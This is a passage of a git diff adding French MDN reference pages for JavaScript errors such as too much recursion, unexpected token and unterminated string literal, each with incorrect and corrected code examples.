+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Une directive <code>"use strict"</code> apparaît au début d'une fonction qui possède l'un des paramètres suivants :</p>
+
+<ul>
+ <li>{{jsxref("Fonctions/Valeurs_par_défaut_des_arguments", "Des paramètres par défaut", "", 1)}}</li>
+ <li>{{jsxref("Fonctions/paramètres_du_reste", "Des paramètres du reste", "", 1)}}</li>
+ <li>{{jsxref("Opérateurs/Affecter_par_décomposition", "Des paramètres décomposés", "", 1)}}</li>
+</ul>
+
+<p>Selon la spécification ECMAScript, une directive <code>"use strict"</code> ne peut pas être utilisée pour de telles fonctions.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Déclaration_de_fonction">Déclaration de fonction</h3>
+
+<p>Dans l'exemple qui suit, la fonction <code>somme</code> possède deux paramètres par défaut <code>a=1</code> et <code>b=2</code>.</p>
+
+<pre class="brush: js example-bad">function somme(a = 1, b = 2) {
+  // SyntaxError: "use strict" not allowed in function with default parameter
+  "use strict";
+  return a + b;
+}
+</pre>
+
+<p>Si on veut que la fonction soit en mode strict et que le script entier ou que la fonction englobante peut être en mode strict, il suffira de déplacer l'instruction <code>"use strict"</code> en dehors du corps de la méthode.</p>
+
+<pre class="brush: js example-good">"use strict";
+function somme(a = 1, b = 2) {
+  return a + b;
+}
+</pre>
+
+<h3 id="Expression_de_fonction">Expression de fonction</h3>
+
+<p>Il est également possible d'utiliser les expressions de fonction pour résoudre ce problème :</p>
+
+<pre class="brush: js example-bad">var somme = function somme([a, b]) {
+  // SyntaxError: "use strict" not allowed in function with destructuring parameter
+  "use strict";
+  return a + b;
+};
+</pre>
+
+<p>On peut convertir le fragment de code précédent avec l'expression suivante :</p>
+
+<pre class="brush: js example-good">var somme = (function() {
+  "use strict";
+  return function somme([a, b]) {
+    return a + b;
+  };
+})();
+</pre>
+
+<h3 id="Fonction_fléchée">Fonction fléchée</h3>
+
+<p>Si on a une fonction fléchée qui doit accéder à la variable <code>this</code> on peut utiliser une fonction fléchée comme fonction englobante :</p>
+
+<pre class="brush: js example-bad">var callback = (...args) =&gt; {
+  // SyntaxError: "use strict" not allowed in function with rest parameter
+  "use strict";
+  return this.run(args);
+};
+</pre>
+
+<p>This can be converted into following expression.</p>
+
+<pre class="brush: js example-good">var callback = (() =&gt; {
+  "use strict";
+  return (...args) =&gt; {
+    return this.run(args);
+  };
+})();
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Strict_mode", "Le mode strict", "", 1)}}</li>
+ <li>{{jsxref("Instructions/function", "L'instruction function", "", 1)}}</li>
+ <li>{{jsxref("Op%C3%A9rateurs/L_op%C3%A9rateur_function", "Les expressions de fonction", "", 1)}}</li>
+ <li>{{jsxref("Fonctions/Valeurs_par_d%C3%A9faut_des_arguments", "Les paramètres par défaut", "", 1)}}</li>
+ <li>{{jsxref("Fonctions/paramètres_du_reste", "Les paramètres du reste", "", 1)}}</li>
+ <li>{{jsxref("Opérateurs/Affecter_par_décomposition", "Les paramètres décomposés", "", 1)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/too_much_recursion/index.html b/files/fr/web/javascript/reference/erreurs/too_much_recursion/index.html
new file mode 100644
index 0000000000..1e7bf8c0d0
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/too_much_recursion/index.html
@@ -0,0 +1,69 @@
+---
+title: 'InternalError: too much recursion'
+slug: Web/JavaScript/Reference/Erreurs/Too_much_recursion
+tags:
+  - Erreurs
+  - InternalError
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Errors/Too_much_recursion
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Error: Out of stack space (Edge)
+InternalError: too much recursion (Firefox)
+RangeError: Maximum call stack size exceeded (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("InternalError")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Une fonction qui s'appelle elle-même est une fonction <em>recursive</em>. Lorsqu'une certaine condition est respectée, la fonction arrête de s'appeler elle-même, c'est ce qu'on appelle le cas initial.</p>
+
+<p>D'une certaine façon, une récursion est semblable à une boucle. Les deux exécutent le même code plusieurs fois, et les deux ont besoin d'une condition d'arrêt afin d'éviter une boucle infinie ou une récursion infinie. Lorsqu'il y a trop de niveaux de récursion ou une récursion infinie, JavaScript lèvera cette erreur.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cette fonction récursive est exécutée 10 fois comme l'indique la condition de sortie :</p>
+
+<pre class="brush: js">function loop(x) {
+  if (x &gt;= 10) // "x &gt;= 10" is the exit condition
+    return;
+  // do stuff
+  loop(x + 1); // the recursive call
+}
+loop(0);</pre>
+
+<p>Si la condition d'arrêt est beaucoup trop grande, cela ne fonctionnera pas :</p>
+
+<pre class="brush: js example-bad">function loop(x) {
+  if (x &gt;= 1000000000000)
+    return;
+  // do stuff
+  loop(x + 1);
+}
+loop(0);
+
+// InternalError: too much recursion</pre>
+
+<p>Si la fonction récursive ne possède pas de cas initial, il n'y aura pas de condition de sortie et la fonction continuera de s'appeler indéfiniment.</p>
+
+<pre class="brush: js example-bad">function boucle(x) {
+  boucle(x + 1);
+  // il n'y a pas de cas initial
+}
+
+boucle(0);
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{Glossary("Récursion")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Fonctions#La_récursivité">Les fonctions récursives</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/typed_array_invalid_arguments/index.html b/files/fr/web/javascript/reference/erreurs/typed_array_invalid_arguments/index.html
new file mode 100644
index 0000000000..b467aa1c4e
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/typed_array_invalid_arguments/index.html
@@ -0,0 +1,76 @@
+---
+title: 'TypeError: invalid arguments'
+slug: Web/JavaScript/Reference/Erreurs/Typed_array_invalid_arguments
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Typed_array_invalid_arguments
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: invalid arguments (Firefox)</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les constructeurs de tableaux typés</a> ont besoin :</p>
+
+<ul>
+ <li>d'une longueur,</li>
+ <li>d'un autre tableau typé,</li>
+ <li>d'un objet semblable à un tableau,</li>
+ <li>d'un objet itérable</li>
+ <li>ou d'un objet {{jsxref("ArrayBuffer")}}</li>
+</ul>
+
+<p>afin de créer un nouveau tableau typé. Si on utilise un autre argument, on ne pourra pas créer de tableau typé valide.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Il est par exemple impossible de construire un tableau typé {{jsxref("Uint8Array")}} à partir d'une chaîne de caractères :</p>
+
+<pre class="brush: js example-bad">var ta = new Uint8Array("nope");
+// TypeError: invalid arguments
+</pre>
+
+<p>Voici différentes façons de créer un tableau typué {{jsxref("Uint8Array")}} :</p>
+
+<pre class="brush: js example-good">// À partir d'une longueur
+var uint8 = new Uint8Array(2);
+uint8[0] = 42;
+console.log(uint8[0]); // 42
+console.log(uint8.length); // 2
+console.log(uint8.BYTES_PER_ELEMENT); // 1
+
+// À partir d'un tableau
+var arr = new Uint8Array([21,31]);
+console.log(arr[1]); // 31
+
+// À partir d'un autre tableau typé
+var x = new Uint8Array([21, 31]);
+var y = new Uint8Array(x);
+console.log(y[0]); // 21
+
+// À partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint8Array(buffer, 1, 4);
+
+// À partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var uint8 = new Uint8Array(iterable);
+// Uint8Array[1, 2, 3]
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("Uint8Array")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/undeclared_var/index.html b/files/fr/web/javascript/reference/erreurs/undeclared_var/index.html
new file mode 100644
index 0000000000..98ff95210a
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/undeclared_var/index.html
@@ -0,0 +1,66 @@
+---
+title: 'ReferenceError: assignment to undeclared variable "x"'
+slug: Web/JavaScript/Reference/Erreurs/Undeclared_var
+tags:
+  - Erreurs
+  - JavaScript
+  - ReferenceError
+translation_of: Web/JavaScript/Reference/Errors/Undeclared_var
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">ReferenceError: assignment to undeclared variable "x" (Firefox)
+ReferenceError: "x" is not defined (Chrome)
+ReferenceError: Variable undefined in strict mode (Edge)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>Une erreur {{jsxref("ReferenceError")}}, uniquement <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">en mode strict</a>.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Une valeur a été affectée à une variable non-déclarée. Autrement dit, il y a eu une affectation qui n'utilise pas le mot-clé <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/var">var</a></code>. Il existe certaines différences entre les variables déclarées et les variables non déclarées ce qui peut entraîner des résultats étranges. C'est pour cette raison que le moteur affiche une erreur en mode strict.</p>
+
+<p>Trois choses à noter lorsqu'on évoque les variables déclarées/non déclarées :</p>
+
+<ul>
+ <li>Les variables déclarées sont contraintes dans le contexte d'exécution dans lequel elles sont déclarées. Les variables non déclarées sont toujours globales.</li>
+ <li>Les variables déclarées sont créées avant que le code soit exécuté. Les variables non déclarées n'existent pas tant que le code qui leur est affecté est exécuté.</li>
+ <li>Les variables déclarées sont des propriétés non-configurables de leur contexte d'exécution (la fonction ou l'espace global). Les variables non-déclarées sont configurables (elles peuvent être supprimées).</li>
+</ul>
+
+<p>Pour plus de détails et d'exemple, se référer à la page sur <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/var">var</a></code>.</p>
+
+<p>Les erreurs à propos des affectations sur les variables non déclarées se produisent uniquement <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">en mode strict</a>. En mode non-strict, elles sont ignorées silencieusement.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<p>Ici, la variable <code>truc</code> n'est pas déclarée :</p>
+
+<pre class="brush: js example-bad">function toto() {
+  "use strict";
+  truc = true;
+}
+toto(); // ReferenceError: assignment to undeclared variable truc
+</pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<p>Afin de déclarer <code>truc</code>, on peut ajouter le mot-clé <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/var">var</a></code> devant.</p>
+
+<pre class="brush: js example-good">function toto() {
+  "use strict";
+  var truc = true;
+}
+toto();</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">Le mode strict</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/undefined_prop/index.html b/files/fr/web/javascript/reference/erreurs/undefined_prop/index.html
new file mode 100644
index 0000000000..00ae0a348b
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/undefined_prop/index.html
@@ -0,0 +1,57 @@
+---
+title: 'ReferenceError: reference to undefined property "x"'
+slug: Web/JavaScript/Reference/Erreurs/Undefined_prop
+tags:
+  - Erreurs
+  - JavaScript
+  - Reference
+  - ReferenceError
+translation_of: Web/JavaScript/Reference/Errors/Undefined_prop
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">ReferenceError: reference to undefined property "x" (Firefox)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>Uniquement pour Firefox. Une erreur {{jsxref("ReferenceError")}} lancée en avertissement, uniquement si la préférence <code>javascript.options.strict</code> vaut <code>true</code>.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Le code tente d'accéder à une propriété inexistante d'un objet. Il existe deux méthodes pour accéder aux propriétés. Pour plus de détails, on pourra lire la page de la référence sur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres">les accesseurs de propriété</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<p>Ici, la propriété <code>truc</code> n'est pas une propriété définie et on obtient alors une <code>ReferenceError</code>.</p>
+
+<pre class="brush: js example-bad">"use strict";
+
+var toto = {};
+toto.truc; // ReferenceError: reference to undefined property "bar"
+</pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<p>Pour éviter cette erreur, il faut que <code>truc</code> soit une variable  « définie » ou vérifier son existence avant de l'utiliser (en utilisant par exemple la méthode {{jsxref("Object.prototype.hasOwnProperty()")}}).</p>
+
+<pre class="brush: js example-good">"use strict";
+
+var toto = {};
+
+toto.truc = "lune";
+console.log(toto.truc); // "lune"
+
+if (foo.hasOwnProperty("truc")) {
+  console.log(toto.truc);
+}</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Opérateurs/Opérateurs_de_membres", "Accesseurs de propriété", 0, 1)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/unexpected_token/index.html b/files/fr/web/javascript/reference/erreurs/unexpected_token/index.html
new file mode 100644
index 0000000000..309f05e1ca
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/unexpected_token/index.html
@@ -0,0 +1,77 @@
+---
+title: 'SyntaxError: Unexpected token'
+slug: Web/JavaScript/Reference/Erreurs/Unexpected_token
+tags:
+  - Erreurs
+  - JavaScript
+  - Reference
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Unexpected_token
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: expected expression, got "x"
+SyntaxError: expected property name, got "x"
+SyntaxError: expected target, got "x"
+SyntaxError: expected rest argument name, got "x"
+SyntaxError: expected closing parenthesis, got "x"
+SyntaxError: expected '=&gt;' after argument list, got "x"
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>La syntaxe du langage « attendait » un élément mais quelque chose d'autre est écrit à la place dans le script. Cela peut simplement être dû à une coquille dans le code.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Expression_attendue">Expression attendue</h3>
+
+<p>Lorsqu'on enchaîne des expressions, par exemple, les virgules ne sont pas autorisées en fin d'expression :</p>
+
+<pre class="brush: js example-bad">for (let i = 0; i &lt; 5,; ++i) {
+  console.log(i);
+}
+// SyntaxError: expected expression, got ')'
+</pre>
+
+<p>Pour corriger cette erreur, on peut retirer la virgule superflue ou bien ajouter une autre expression :</p>
+
+<pre class="brush: js example-good">for (let i = 0; i &lt; 5; ++i) {
+  console.log(i);
+}
+</pre>
+
+<h3 id="Parenthèses_manquantes">Parenthèses manquantes</h3>
+
+<p>Il peut également arriver que des parenthèses manquent autour des instructions <code>if</code> :</p>
+
+<pre class="brush: js example-bad line-numbers  language-js">function round(n, upperBound, lowerBound){
+  if(n &gt; upperBound) || (n &lt; lowerBound){
+    throw 'Number ' + String(n) + ' is more than ' + String(upperBound) + ' or less than ' + String(lowerBound);
+  }else if(n &lt; ((upperBound + lowerBound)/2)){
+    return lowerBound;
+  }else{
+    return upperBound;
+  }
+} // SyntaxError: expected expression, got '||'</pre>
+
+<p>Si on compte les parenthèses ouvrantes et fermantes, c'est correct mais on peut voir que le OU logique (<code>||</code>) n'est contenu au sein d'aucune paire de parenthèses.</p>
+
+<p>Pour corriger ce problème, il suffit d'ajouter une paire de parenthèses englobante :</p>
+
+<pre class="brush: js example-good">function round(n, upperBound, lowerBound){
+  if((n &gt; upperBound) || (n &lt; lowerBound)){
+    throw 'Number ' + String(n) + ' is more than ' + String(upperBound) + ' or less than ' + String(lowerBound);
+  }else if(n &lt; ((upperBound + lowerBound)/2)){
+    return lowerBound;
+  }else{
+    return upperBound;
+  }
+}
+</pre>
diff --git a/files/fr/web/javascript/reference/erreurs/unexpected_type/index.html b/files/fr/web/javascript/reference/erreurs/unexpected_type/index.html
new file mode 100644
index 0000000000..bda5c39eb9
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/unexpected_type/index.html
@@ -0,0 +1,73 @@
+---
+title: 'TypeError: "x" is (not) "y"'
+slug: Web/JavaScript/Reference/Erreurs/Unexpected_type
+tags:
+  - Erreurs
+  - JavaScript
+  - Reference
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Unexpected_type
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: Unable to get property {x} of undefined or null reference (Edge)
+TypeError: "x" is (not) "y" (Firefox)
+
+Examples:
+TypeError: "x" is undefined
+TypeError: "x" is null
+TypeError: "undefined" is not an object
+TypeError: "x" is not an object or null
+TypeError: "x" is not a symbol
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Un type inattendu a été rencontré. Cela se produit la plupart du temps avec les valeurs {{jsxref("undefined")}} ou {{jsxref("null")}}.</p>
+
+<p>Certaines méthodes comme {{jsxref("Object.create()")}} ou {{jsxref("Symbol.keyFor()")}} ont des contraintes sur le type de valeur qui peut être passé en argument.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<pre class="brush: js example-bad">// undefined et null : des valeurs
+// sur lesquelles la méthode substring
+// ne fonctionnera pas
+var toto = undefined;
+toto.substring(1); // TypeError: toto is undefined
+
+var toto = null;
+toto.substring(1); // TypeError: toto is null
+
+
+// Certaines méthodes nécessitent une valeur
+// d'un type spécifique
+var toto = {}
+Symbol.keyFor(toto); // TypeError: toto is not a symbol
+
+var toto = "truc"
+Object.create(toto); // TypeError: "toto" is not an object or null
+</pre>
+
+<h3 id="Résoudre_le_problème">Résoudre le problème</h3>
+
+<p>Pour résoudre ce problème et écarter les cas où la valeur vaut <code>undefined</code>, on peut par exemple utiliser l'opérateur <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_typeof">typeof</a></code>.</p>
+
+<pre class="brush: js">if (typeof toto !== 'undefined') {
+  // Désormais, on sait que toto est bien
+  // défini et on peut poursuivre.
+}</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/unnamed_function_statement/index.html b/files/fr/web/javascript/reference/erreurs/unnamed_function_statement/index.html
new file mode 100644
index 0000000000..690e4b3f3e
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/unnamed_function_statement/index.html
@@ -0,0 +1,115 @@
+---
+title: 'SyntaxError: function statement requires a name'
+slug: Web/JavaScript/Reference/Erreurs/Unnamed_function_statement
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Unnamed_function_statement
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Syntax Error: Expected identifier (Edge)
+SyntaxError: function statement requires a name [Firefox]
+SyntaxError: Unexpected token ( [Chrome]
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Instructions/function">Une déclaration de fonction</a> présente dans le code requiert un nom. Il faut alors vérifier la façon dont la fonction est définie et s'il est nécessaire de lui fournir un nom ou si la fonction en question est une expression de fonction, une fonction immédiatement invoquée ou si le code de la fonction est simplement bien placé dans son contexte.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Déclaration_Expression">Déclaration / Expression</h3>
+
+<p>Une déclaration de fonction requiert un nom. Le fragment de code suivant ne fonctionnera pas :</p>
+
+<pre class="brush: js example-bad">function () {
+  return 'Coucou monde :)';
+}
+// SyntaxError: function statement requires a name
+</pre>
+
+<p>On peut utiliser <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_function">une expression de fonction</a> à la place :</p>
+
+<pre class="brush: js example-good">var salutations = function() {
+  return 'Coucou monde :)';
+};</pre>
+
+<p>Si la fonction devait être appelé immédiatement, il suffit d'ajouter des parenthèses autour :</p>
+
+<pre class="brush: js example-good">(function () {
+
+})();</pre>
+
+<h3 id="Fonctions_étiquetées">Fonctions étiquetées</h3>
+
+<p>Si vous utilisez des <a href="/fr/docs/Web/JavaScript/Reference/Instructions/label">fonctions étiquetées</a>, il faut toujours fournir un nom après le mot-clé <code>function</code>. Le code suivant ne fonctionnera pas :</p>
+
+<pre class="brush: js example-bad">function Greeter() {
+  german: function () {
+    return "Moin";
+  }
+}
+// SyntaxError: function statement requires a name
+</pre>
+
+<p>En revanche, ceci fonctionnera :</p>
+
+<pre class="brush: js example-good">function Greeter() {
+  german: function g() {
+    return "Moin";
+  }
+}</pre>
+
+<h3 id="Méthodes_d'un_objet">Méthodes d'un objet</h3>
+
+<p>Si vous souhaitez construire une méthode d'un objet, il faudra d'abord créer l'objet. Dans ce cas, la syntaxe sans le nom après le mot-clé <code>function</code> sera valide :</p>
+
+<pre class="brush: js example-good">var greeter = {
+  german: function () {
+    return "Moin";
+  }
+};</pre>
+
+<h3 id="Syntaxe_et_fonctions_de_rappel_(callbacks)">Syntaxe et fonctions de rappel (<em>callbacks</em>)</h3>
+
+<p>Lorsqu'on utilise les <em>callbacks</em>, il est facile de s'emmêler les pinceaux entre les parenthèses et les virgules :</p>
+
+<pre class="brush: js example-bad">promise.then(
+  function() {
+    console.log("success");
+  });
+  function() {
+    console.log("error");
+}
+// SyntaxError: function statement requires a name
+</pre>
+
+<p>La forme correcte serait :</p>
+
+<pre class="brush: json example-good">promise.then(
+  function() {
+    console.log("success");
+  },
+  function() {
+    console.log("error");
+  }
+);
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Fonctions">Les fonctions dans le guide JavaScript</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/function">Les déclarations de fonction</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_function">Les expressions de fonction</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Immediately-invoked_function_expression">Les fonctions immédiatement invoquées (ou <em>IIFE</em> en anglais)</a></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/label">label</a></code></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/unterminated_string_literal/index.html b/files/fr/web/javascript/reference/erreurs/unterminated_string_literal/index.html
new file mode 100644
index 0000000000..db0260c915
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/unterminated_string_literal/index.html
@@ -0,0 +1,77 @@
+---
+title: 'SyntaxError: unterminated string literal'
+slug: Web/JavaScript/Reference/Erreurs/Unterminated_string_literal
+tags:
+  - Erreurs
+  - JavaScript
+  - Reference
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Unterminated_string_literal
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Unterminated string constant (Edge)
+SyntaxError: unterminated string literal (Firefox)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Une chaîne de caractères ({{jsxref("String")}}) n'est pas bien délimitée quelque part. Les littéraux de chaînes de caractères doivent être délimités par des simples quotes (') ou par des doubles quotes ("). <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String#Échappement_des_caractères">Les séquences d'échappement</a> permet de représenter dans ces chaînes de caractères. Pour réparer cette erreur :</p>
+
+<ul>
+ <li>Vérifiez que la chaîne est bien délimitée au début et à la fin par des doubles quotes ou par des simples quotes,</li>
+ <li>Vérifiez que les caractères spéciaux de la chaîne ont bien été échappés,</li>
+ <li>Vérifiez que le littéral est bien découpé pour gérer plusieurs lignes (si c'est le cas).</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Gérer_plusieurs_lignes">Gérer plusieurs lignes</h3>
+
+<p>En JavaScript, on ne peut pas écrire une chaîne simple sur plusieurs lignes comme ceci :</p>
+
+<pre class="brush: js example-bad">var longString = "This is a very long string which needs
+                  to wrap across multiple lines because
+                  otherwise my code is unreadable.";
+// SyntaxError: unterminated string literal</pre>
+
+<p>Pour écrire une chaîne sur plusieurs lignes, on pourra utiliser :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Addition_()">L'opérateur +</a>,</li>
+ <li>Une barre oblique inversée ("\")</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Littéraux_gabarits">Des littéraux de gabarits</a></li>
+</ul>
+
+<p>Voici la première variante avec l'opérateur de concaténation :</p>
+
+<pre class="brush: js example-good">var longString = "This is a very long string which needs " +
+                 "to wrap across multiple lines because " +
+                 "otherwise my code is unreadable.";
+</pre>
+
+<p>Sinon, on peut utiliser une barre oblique inversée à la fin de chaque ligne pour indiquer qu'elle continue sur la ligne suivante. Attention, il faudra qu'il n'y ait aucun espace ou autre caractère après la barre oblique (il peut bien entendu y avoir un saut de ligne) :</p>
+
+<pre class="brush: js example-good">var longString = "This is a very long string which needs \
+to wrap across multiple lines because \
+otherwise my code is unreadable.";
+</pre>
+
+<p>On pourra également utiliser <a href="/fr/docs/Web/JavaScript/Reference/Littéraux_gabarits">les littéraux de gabarits</a> qui sont pris en charge par les environnement ECMAScript 2015 :</p>
+
+<pre class="brush: js example-good">var longString = `This is a very long string which needs
+                  to wrap across multiple lines because
+                  otherwise my code is unreadable.`;</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Littéraux_gabarits">Les littéraux de gabarits</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/var_hides_argument/index.html b/files/fr/web/javascript/reference/erreurs/var_hides_argument/index.html
new file mode 100644
index 0000000000..44ba49c346
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/var_hides_argument/index.html
@@ -0,0 +1,55 @@
+---
+title: 'TypeError: variable "x" redeclares argument'
+slug: Web/JavaScript/Reference/Erreurs/Var_hides_argument
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Var_hides_argument
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: variable "x" redeclares argument (Firefox)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>Une erreur {{jsxref("TypeError")}}, uniquement <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">en mode strict</a>.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Le même nom de variable est utilisé comme nom pour un paramètre et comme nom de variable via une affectation <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/var">var</a></code>. Cela peut être lié à un conflit de nommage et le moteur envoie un avertissement.</p>
+
+<p>Cette erreur ne se produit qu'en mode strict. Pour du code non-strict, la redéclaration est ignorée silencieusement..</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<p>Ici, la variable <code>arg</code> redéclare l'argument de la fonction :</p>
+
+<pre class="brush: js example-bad">"use strict";
+
+function f(arg) {
+  var arg = "foo";
+}
+</pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<p>Pour résoudre ce problème, on pourra généralement retirer l'instruction <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/var">var</a></code> car la variable existe déjà et peut être utilisée. Si on ne veut pas utiliser cette même variable, mieux vaudra renommer le paramètre ou la variable interne afin de lever l'ambiguïté.</p>
+
+<pre class="brush: js example-good">"use strict";
+
+function f(arg) {
+  arg = "foo";
+}
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">Le mode strict</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/fonctions/arguments/@@iterator/index.html b/files/fr/web/javascript/reference/fonctions/arguments/@@iterator/index.html
new file mode 100644
